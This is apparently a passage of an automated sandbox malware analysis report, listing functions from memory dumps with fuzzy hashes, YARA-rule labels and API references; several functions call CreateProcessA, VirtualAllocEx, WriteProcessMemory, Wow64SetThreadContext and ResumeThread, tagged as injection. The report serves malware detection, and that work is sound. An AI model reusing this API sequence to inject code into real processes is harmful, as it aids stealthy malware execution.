Instruction Fuzzy Hash: 85218370E15208EFDB48CFF5C5406EEFBB6EBC9300F60D8A58405A7654DB349B819B58

Uniqueness

Uniqueness Score: -1.00%

Function 00319600, Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33b46369d451ce1d3ef959d68eb0572fd75e1f7e8530c96599f38da5ab6cf804
Instruction ID: a1e0b5aa832d3c85782557acb6ca30306448b4412bb950bec31394a01c539d17
Opcode Fuzzy Hash: 33b46369d451ce1d3ef959d68eb0572fd75e1f7e8530c96599f38da5ab6cf804
Instruction Fuzzy Hash: B9F1E374E04218CFDB18CFA5D994BDDBBB6FB89310F2084AAD40AA7764DB309985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 003197BE, Relevance: .3, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cd382ac698a85655487fa383bc1b3aa3c957f6ebbcf05621fc1bf1d38abd7e0
Instruction ID: 62c01fc9cbc0eed42876a3aadc4937c22bad5d7813e33cedc31c52c4e1963d99
Opcode Fuzzy Hash: 9cd382ac698a85655487fa383bc1b3aa3c957f6ebbcf05621fc1bf1d38abd7e0
Instruction Fuzzy Hash: 18D1D274E00218CFCB18CFA5D994BDDBBB6FB49310F2084AAD40AA7764DB309A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02185C38, Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2157220177.0000000002180000.00000040.00000001.sdmp, Offset: 02180000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7875164fb19f21129e42b5d4de92a59ecf2ec331905bda0e58c8e10aaa878fb5
Instruction ID: 280bc371f53d009a1eac6ca035b51434eacf484ffd98a6d700e48a166d88f446
Opcode Fuzzy Hash: 7875164fb19f21129e42b5d4de92a59ecf2ec331905bda0e58c8e10aaa878fb5
Instruction Fuzzy Hash: 9DA11574E012099BDB14EFE9C9846DEBBF6EF88314FA58529E819AB344E7309941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00313138, Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f529346456adb25df73166e078938581e68a126b4e7d1a6953d102862c8bb67c
Instruction ID: 2894a1421a5e102dca511e3ecf4d301fd63cebaa9fcf9ac7863c03647d9237b4
Opcode Fuzzy Hash: f529346456adb25df73166e078938581e68a126b4e7d1a6953d102862c8bb67c
Instruction Fuzzy Hash: B2A13B70E1020AEFCB08DF95D8854AEFBB6FF89301B20D565D416A7614D734EA82CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0031CAD0, Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab77355de14fbcab6f5c62e56b1c4139112ae5eb27a2b0b4f3c76f467beef6d3
Instruction ID: d140de9cb6c8f5414b8618215cb140110396384adc47baad2e3097ef2a7ac9b0
Opcode Fuzzy Hash: ab77355de14fbcab6f5c62e56b1c4139112ae5eb27a2b0b4f3c76f467beef6d3
Instruction Fuzzy Hash: 69812474E502098BCB19CFE9C5856EEBBF6AF88315F64D425E408EB305DB309D82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0031C818, Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 660b5069c974fb84f44c3411528be1e478e9e48405a65c2b021d2e609ae7ff42
Instruction ID: 6e0f0ae6f3c7f209828f5ea0e18ea20a3cdb8fac20d96eda1dcd2988e9683c92
Opcode Fuzzy Hash: 660b5069c974fb84f44c3411528be1e478e9e48405a65c2b021d2e609ae7ff42
Instruction Fuzzy Hash: 22812671E50219CBDF19DFA9C840AEEBBFABF88314F50D469D508BB205EB3059858F50

Uniqueness

Uniqueness Score: -1.00%

Function 00310FC8, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f03451711d5d7f64d16ce51057a4ae36c775a6ea053bcda5f7b36993f324e315
Instruction ID: 4db0f8af05e6b06bf0aa853f67f6bd175f4f7fd5f2d33381edc636c59847b3a9
Opcode Fuzzy Hash: f03451711d5d7f64d16ce51057a4ae36c775a6ea053bcda5f7b36993f324e315
Instruction Fuzzy Hash: 0281C274E012188FCB08CFEAD9846DEFBB6AF8D300F24952AD519BB264D7349941CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0031353F, Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfce05ff5f1478b496c24872433895df05e8ebf882d3240147441bf0443dbb9e
Instruction ID: c27d27bfef6e467ffd7546aafb7e92544fa176ba507c4f9ee2ce53d49d858237
Opcode Fuzzy Hash: dfce05ff5f1478b496c24872433895df05e8ebf882d3240147441bf0443dbb9e
Instruction Fuzzy Hash: 18814C70E1420AEFCB09DF95C4854AEFBB6FF89301B20D965D016A7619D734EA82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 003131FC, Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81f20a82ee98f3b34d346085c44072ebc19bcf620a7bc05e5308837c38f82a5a
Instruction ID: e86dd77524bf1477ca57f0ea44e87184bad18945bf1889552257d5c35e4173e9
Opcode Fuzzy Hash: 81f20a82ee98f3b34d346085c44072ebc19bcf620a7bc05e5308837c38f82a5a
Instruction Fuzzy Hash: 32914D70E1420AEFCB09DF95C8854AEFBB6FF89301B20D965D016A7614D734EA82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 003131BC, Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e4f346ce419a778e3e6c13d54c5b0ef57eba1389b859457c0bbf9c212aa89dd
Instruction ID: 2b5df798c830070d0305f7b3acebddfd3bb7bb3b3b4ff299ee0f0b53777b88ca
Opcode Fuzzy Hash: 3e4f346ce419a778e3e6c13d54c5b0ef57eba1389b859457c0bbf9c212aa89dd
Instruction Fuzzy Hash: 70813C70E1420AEFCB09DFA5C4854AEFBB6FF89301B20D965D016A7615D734EA82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00319D58, Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f174fa79ffdf4ae0ebd64c39dbf88bd9510357c5ddca96dd4d0a819bd8786ef
Instruction ID: c6eefd2281c783ad8371e3b58727377117d320904ae64963f81fb6d18e0942d6
Opcode Fuzzy Hash: 2f174fa79ffdf4ae0ebd64c39dbf88bd9510357c5ddca96dd4d0a819bd8786ef
Instruction Fuzzy Hash: 44617C74E0420A9FCB08DFA4D9509EEFBB6EF89300F10996AD415F7364DB34AA418F65

Uniqueness

Uniqueness Score: -1.00%

Function 00319D68, Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d0166e29e2459daf868b220ee8a714ec541346acba4004705631d803ec2f858
Instruction ID: 7fa340ea30ea01ac3b13fea247701df25f6aa47626da8a6f69dedc553f46f2c1
Opcode Fuzzy Hash: 5d0166e29e2459daf868b220ee8a714ec541346acba4004705631d803ec2f858
Instruction Fuzzy Hash: 91516A74E0020A9FCB48DFA5D8519EEFBB6EF89300F10992AD415B7354DB34AE418FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0031A198, Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdeaf696c2af1db8b71655277172effa1cc0b87fad8df660c34f78182c6e0efb
Instruction ID: 1d7fc2c4dc60806e882cd0e6c02d92d6f3e4fd6674739b50548613d9bcb1feea
Opcode Fuzzy Hash: cdeaf696c2af1db8b71655277172effa1cc0b87fad8df660c34f78182c6e0efb
Instruction Fuzzy Hash: 22419874D0520DEFCB08CFA5D844AEEBBB6BF88300F10882AC415B7614D7348A81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00310470, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d792b369720355507b210cca25c5dfa3b661973bb6ae91cec1a8ca13bb0056d7
Instruction ID: da2aa65ef0a1675c8b3b0bb15289d3fb3fa940f12765d183a3cb16e9593026a1
Opcode Fuzzy Hash: d792b369720355507b210cca25c5dfa3b661973bb6ae91cec1a8ca13bb0056d7
Instruction Fuzzy Hash: EB410875E016188BEB58CFAAD8407DEBBF3BF89300F14C5AAD508A7264DB305A818F51

Uniqueness

Uniqueness Score: -1.00%

Function 00312241, Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 677b1b4c6be8e7b0ea4be71d32c585817913a078cf30c905e7ef0f1822f62918
Instruction ID: 77daf1e1143af4b329a047c245302b60b54afa607705b2e93fcac68e9ae3ea5c
Opcode Fuzzy Hash: 677b1b4c6be8e7b0ea4be71d32c585817913a078cf30c905e7ef0f1822f62918
Instruction Fuzzy Hash: 0E310671E006188BDB19CFA6D8443DEFBF6AFC9310F14C16AD809AA264DB755A86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02187258, Relevance: 1.8, APIs: 1, Instructions: 321processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0218751F

Memory Dump Source

Source File: 00000004.00000002.2157220177.0000000002180000.00000040.00000001.sdmp, Offset: 02180000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7ee61d46212d4f8c2df3f019f6da379e22c5693fbaba6ecd26bf5a26a44a022f
Instruction ID: 809e18495ef9f317e7901ee756e43ed537c7748d2812212e4ecca26f94fb0062
Opcode Fuzzy Hash: 7ee61d46212d4f8c2df3f019f6da379e22c5693fbaba6ecd26bf5a26a44a022f
Instruction Fuzzy Hash: 1EC12474D402198FDF24DFA4C881BEEBBB1BF09304F1095A9D859B7280DB749A86CF95

Uniqueness

Uniqueness Score: -1.00%

Function 02186ED0, Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02186FA3

Memory Dump Source

Source File: 00000004.00000002.2157220177.0000000002180000.00000040.00000001.sdmp, Offset: 02180000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1ebf2d06eb9ebed893220e1cfa7087dbf9186eee52f1fe0456738d3499507973
Instruction ID: 3fca4d95c1f7022f4ad401f2ecfbf1e7d98a720a119954945ab5c2a891309dda
Opcode Fuzzy Hash: 1ebf2d06eb9ebed893220e1cfa7087dbf9186eee52f1fe0456738d3499507973
Instruction Fuzzy Hash: 8C41AAB4D012589FCF00CFA9D984ADEFBF5BB49314F24942AE819B7200D775AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02187022, Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 021870DA

Memory Dump Source

Source File: 00000004.00000002.2157220177.0000000002180000.00000040.00000001.sdmp, Offset: 02180000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 482e17885f570c1d1a6da5290827a5ea3d84f5f5792b5d77302df1c6b55d0a10
Instruction ID: f8345d7c1741c3dcb9bc5379e6e9566e414cc1a125038031e5f37079ff528dec
Opcode Fuzzy Hash: 482e17885f570c1d1a6da5290827a5ea3d84f5f5792b5d77302df1c6b55d0a10
Instruction Fuzzy Hash: 6841BAB8D042589FCF10CFA9D884AEEFBB1BB49314F20942AE815B7240D735A946CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02187028, Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 021870DA

Memory Dump Source

Source File: 00000004.00000002.2157220177.0000000002180000.00000040.00000001.sdmp, Offset: 02180000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 8a4e83b61508921cbf51a26fc9a8cd8b85e395f467ccce00f927bd527fb7827f
Instruction ID: ca1130825d3d74cd70a74241569342f3bd6e9f19704acdbe5949eb9a805985a9
Opcode Fuzzy Hash: 8a4e83b61508921cbf51a26fc9a8cd8b85e395f467ccce00f927bd527fb7827f
Instruction Fuzzy Hash: 3141A9B8D002589FCF10CFA9D884AEEFBB5BB09314F10942AE815B7240D735A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02186DA8, Relevance: 1.6, APIs: 1, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02186E5A

Memory Dump Source

Source File: 00000004.00000002.2157220177.0000000002180000.00000040.00000001.sdmp, Offset: 02180000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 96b50c4552964c64dc296a471086222ac4b8a9a718d887cdbf92e874a2bf2bb9
Instruction ID: 49e07e4e7363912e735dd3c2667e6bd5ae682dc37c4b17c24698e54ff712549c
Opcode Fuzzy Hash: 96b50c4552964c64dc296a471086222ac4b8a9a718d887cdbf92e874a2bf2bb9
Instruction Fuzzy Hash: BB41A8B9D002589FCF10CFA9E884ADEFBB5BB49314F20942AE815BB200D735A946CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02186DB0, Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02186E5A

Memory Dump Source

Source File: 00000004.00000002.2157220177.0000000002180000.00000040.00000001.sdmp, Offset: 02180000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ad54385ec2529e4ac8f55e76488cb0c868ba245cb2bc526faa225f93ca2266ea
Instruction ID: 57997795b3516e89c71bf754aa87e63118b2c4e3211da35e6d75e9650dd7464f
Opcode Fuzzy Hash: ad54385ec2529e4ac8f55e76488cb0c868ba245cb2bc526faa225f93ca2266ea
Instruction Fuzzy Hash: AB3188B9D002589FCF10CFA9E884ADEFBB5BB49314F20942AE815B7300D735A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00317D28, Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 00317DCF

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: aec6db491d5e3ca0fc2976cc44a5d3a2a4c752c1217a83593745fc21219a3aa9
Instruction ID: 92d2237183816b1a752ca1b20235c29b5d1fae8601d807ba6acd527a71ec0e67
Opcode Fuzzy Hash: aec6db491d5e3ca0fc2976cc44a5d3a2a4c752c1217a83593745fc21219a3aa9
Instruction Fuzzy Hash: 2E3198B9D042589FCB14CFA9E884ADEFBB5BB19310F24942AE814B7210D375A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02186C88, Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 02186D37

Memory Dump Source

Source File: 00000004.00000002.2157220177.0000000002180000.00000040.00000001.sdmp, Offset: 02180000, based on PE: false

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 294df07337246efea0fe7e4baf8e3ddb0f66234d0647e42346b77ea73f586e94
Instruction ID: 601a214256da8da4e0bfd096fc90b5d5303af31104e340fc04bbf835ade813e7
Opcode Fuzzy Hash: 294df07337246efea0fe7e4baf8e3ddb0f66234d0647e42346b77ea73f586e94
Instruction Fuzzy Hash: 2131DCB4D002589FCB10DFAAD884AEEFBF5BF49314F14842AE418B7200D778A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02186B98, Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 02186C16

Memory Dump Source

Source File: 00000004.00000002.2157220177.0000000002180000.00000040.00000001.sdmp, Offset: 02180000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 3303959ac6b671e681c2b5776747522a75c3db9c162267219a41a9d86c71c793
Instruction ID: d32d8d8c904b5e2b86f273e2867cab0cebacef0a2c7f677ea947f6e05498c77d
Opcode Fuzzy Hash: 3303959ac6b671e681c2b5776747522a75c3db9c162267219a41a9d86c71c793
Instruction Fuzzy Hash: 55319AB4D012589FCF14CFA9E884ADEFBB5FB49214F14982AE819B7300D775A941CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0013D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156873281.000000000013D000.00000040.00000001.sdmp, Offset: 0013D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 377059cdc23a448020517eeb3db8f0b483f81a4a22ad52a281956021daba9ba3
Instruction ID: 9e51279746d75622d8fd06e0951b60db71aab487273f2a7e226aeb4e4c50251f
Opcode Fuzzy Hash: 377059cdc23a448020517eeb3db8f0b483f81a4a22ad52a281956021daba9ba3
Instruction Fuzzy Hash: EF21F275604204DFDB18CF60F8C4B16BB65FB84B14F20C9A9E84A4B246C336D847CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0013D006, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156873281.000000000013D000.00000040.00000001.sdmp, Offset: 0013D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08a539edf939df66cc555dc471b99b36248d0d3ef5670c5d02f0515aca5ed5fa
Instruction ID: aab5906268818dfcff05ff3fab2eea3c3482707de8f3edd01fa3dde3651f1dd3
Opcode Fuzzy Hash: 08a539edf939df66cc555dc471b99b36248d0d3ef5670c5d02f0515aca5ed5fa
Instruction Fuzzy Hash: E42153755083809FCB06CF14E994B15BF71EF46714F24C5DAD8498F256C33AD85ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0012D1C5, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156864188.000000000012D000.00000040.00000001.sdmp, Offset: 0012D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03562317b9e21717135556667b8ab181a35970c3ed62647d40cbd2672e501459
Instruction ID: 1ea99dd8a185adc1f336f6cbd718ce3ec0da65d7c2003901845992cc60672e67
Opcode Fuzzy Hash: 03562317b9e21717135556667b8ab181a35970c3ed62647d40cbd2672e501459
Instruction Fuzzy Hash: A601F730404354DEE7208A65F888B67BB9CEF52324F14C45AE9095A282C378D854C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 0012D1C4, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156864188.000000000012D000.00000040.00000001.sdmp, Offset: 0012D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af44215074f3f8126eba1b0041d645cdee95250a84b1cf67b7dad07304c2712
Instruction ID: 647fd09ac9f71cf2551240c29e2adcd83cd9a4826f331c331fd87f6bafef81a6
Opcode Fuzzy Hash: 9af44215074f3f8126eba1b0041d645cdee95250a84b1cf67b7dad07304c2712
Instruction Fuzzy Hash: 6DF06D75404254AFEB108E55EC88B63FF98EF52724F28C55AED085B286C378AC44CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00314DA8, Relevance: 2.7, Strings: 2, Instructions: 167COMMON

Download Yara Rule

Strings

IJOt, xrefs: 00314E09
=su[, xrefs: 00314FA0

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID: =su[$IJOt
API String ID: 0-1281938026
Opcode ID: 7e65e31520931781bba2a9fb88d10b79782b77664b8056926c6ff0f6833f88fd
Instruction ID: eb46a18fe8024d4d4956808822f0b85665dba0ca8643b506a25704849b1738ff
Opcode Fuzzy Hash: 7e65e31520931781bba2a9fb88d10b79782b77664b8056926c6ff0f6833f88fd
Instruction Fuzzy Hash: 4A612DB0E0420ADFCB09CFA5D581AEEFBB5BF88310F248455D415AB354D3349682DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0031E468, Relevance: 2.6, Strings: 2, Instructions: 145COMMON

Download Yara Rule

Strings

.@l, xrefs: 0031E5BA
@2;m, xrefs: 0031E66C

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID: .@l$@2;m
API String ID: 0-1913744183
Opcode ID: 4bb7846c1ea9e78c90090bc7080e688a1f6fcf677faf9bfd9e73ee80684f76e0
Instruction ID: fbdf8b9a762ca451f5852d7c2db3fbfd9109d33aab4586cad5af2c2e6c8fa7e2
Opcode Fuzzy Hash: 4bb7846c1ea9e78c90090bc7080e688a1f6fcf677faf9bfd9e73ee80684f76e0
Instruction Fuzzy Hash: 3E514C74E012088FDB44EFA9E951ADDBBFAABC9308F008839D0159B264DB745A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 003135F0, Relevance: 2.6, Strings: 2, Instructions: 120COMMON

Download Yara Rule

Strings

P@#, xrefs: 003136BC
P@#, xrefs: 003136C3

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID: P@#$P@#
API String ID: 0-2605372552
Opcode ID: a01472846206ebc0d4d0885747ed1059316d630083c8303649d9fc5285ee2011
Instruction ID: 7b5b4ab4473eaa404eca39c3997651fbaab7f67d2379b9c8ad220d9b2714978e
Opcode Fuzzy Hash: a01472846206ebc0d4d0885747ed1059316d630083c8303649d9fc5285ee2011
Instruction Fuzzy Hash: F5410570E082199FCB09CFA9C8845DEBBF5FF8D310F2485AAD405AB224D3749A41CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00315130, Relevance: 2.6, Strings: 2, Instructions: 107COMMON

Download Yara Rule

Strings

tIjb, xrefs: 0031525F
tIjb, xrefs: 00315266

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID: tIjb$tIjb
API String ID: 0-2224515410
Opcode ID: 8c2bc20fcfff60e0e1d587e01e7db6e62e767c7333290ea256ccc36f6fd54bcf
Instruction ID: 0553a9254c738618c3df760992ed05d8eea3723578b8fc917a8a47da52929fbc
Opcode Fuzzy Hash: 8c2bc20fcfff60e0e1d587e01e7db6e62e767c7333290ea256ccc36f6fd54bcf
Instruction Fuzzy Hash: F141E7B1E0460ADFCB09CFAAC9415EEFBB2BF88300F24C56AD515A7255D7349A828F54

Uniqueness

Uniqueness Score: -1.00%

Function 00315140, Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

tIjb, xrefs: 0031525F
tIjb, xrefs: 00315266

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID: tIjb$tIjb
API String ID: 0-2224515410
Opcode ID: 7d1ad64b1b11cfe9c0a0774b35860931ec3798005f0b280244807ee58cb0bcaa
Instruction ID: bcbe7d41a38a7b2f74d650d528e1aef702deb819103d7ca5e9f4db62cfedc7b1
Opcode Fuzzy Hash: 7d1ad64b1b11cfe9c0a0774b35860931ec3798005f0b280244807ee58cb0bcaa
Instruction Fuzzy Hash: D941E7B1E0060ADFCF09CFAAC9415EEFBF6BB88300F24C56AD515A7254D7345A818F94

Uniqueness

Uniqueness Score: -1.00%

Function 003193AC, Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

-Y-r, xrefs: 0031B47C

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID: -Y-r
API String ID: 0-2387670847
Opcode ID: f9227d34b4ac307f27f610843dad527ea92e6ae35860e00b340d152428ad3f0b
Instruction ID: c3be344045b2725ee57c53c809ac6d3afcdd0a4b139139904e5e21eb9bad80d0
Opcode Fuzzy Hash: f9227d34b4ac307f27f610843dad527ea92e6ae35860e00b340d152428ad3f0b
Instruction Fuzzy Hash: 45515B31E0421DCBDB29CFA6C8407DEFBB6BF99300F1089AAD509B7254DB705A868F55

Uniqueness

Uniqueness Score: -1.00%

Function 0031AAE0, Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

HGr, xrefs: 0031AB68

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID: HGr
API String ID: 0-2895385195
Opcode ID: cf94f4155dd8305a2f32fcaf8ae934040093972f2c62b0d52c113c875ee8ba69
Instruction ID: 9800f7f255772d9922d397e8ab2e664a6d2e31bfc3df1d38812618e9fb94ee64
Opcode Fuzzy Hash: cf94f4155dd8305a2f32fcaf8ae934040093972f2c62b0d52c113c875ee8ba69
Instruction Fuzzy Hash: 7A21F471E156189BEB48CFABD8406EEFBF7ABC8310F14C03AD508A7214DB305A458B91

Uniqueness

Uniqueness Score: -1.00%

Function 00315339, Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4488f06b8449b61d769568026a7f920881ae47a4528c8f7ccc1bccec1989be4b
Instruction ID: f589f80decf38c4082c77f8e1cb3b0bc27429475ae9489432883ca598c9935f0
Opcode Fuzzy Hash: 4488f06b8449b61d769568026a7f920881ae47a4528c8f7ccc1bccec1989be4b
Instruction Fuzzy Hash: 55610474E15619DFCB08CFAAC5809DEFBF6EF8C350F24A42AD415B7214D7709A818B64

Uniqueness

Uniqueness Score: -1.00%

Function 00315348, Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3274e05f566a9dc75ecf980a5f47d743f8af3e50e3de3ba257517d703bdc906c
Instruction ID: a53514314c484ddb25f5f27163d512c9b14b386d7346036bdf5f06242edffa64
Opcode Fuzzy Hash: 3274e05f566a9dc75ecf980a5f47d743f8af3e50e3de3ba257517d703bdc906c
Instruction Fuzzy Hash: 6F61E474E15619DFCB08CFAAC5809DEFBF6BF88350F24A82AD415B7214D7709A818F64

Uniqueness

Uniqueness Score: -1.00%

Function 00311CC0, Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 576129744731655eefc7c392ceaa81c76dd75e05ffb71c4ce3b9888d3a8d79de
Instruction ID: 9de9d2ed77fb6ec84c02ba71858796e3cb0322561398fd9227a15e130795599b
Opcode Fuzzy Hash: 576129744731655eefc7c392ceaa81c76dd75e05ffb71c4ce3b9888d3a8d79de
Instruction Fuzzy Hash: 77611674E05209DFCB08CF99E4809EEFBB6FB89310F24856AD615AB710D3309A81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00315790, Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2156909467.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: false

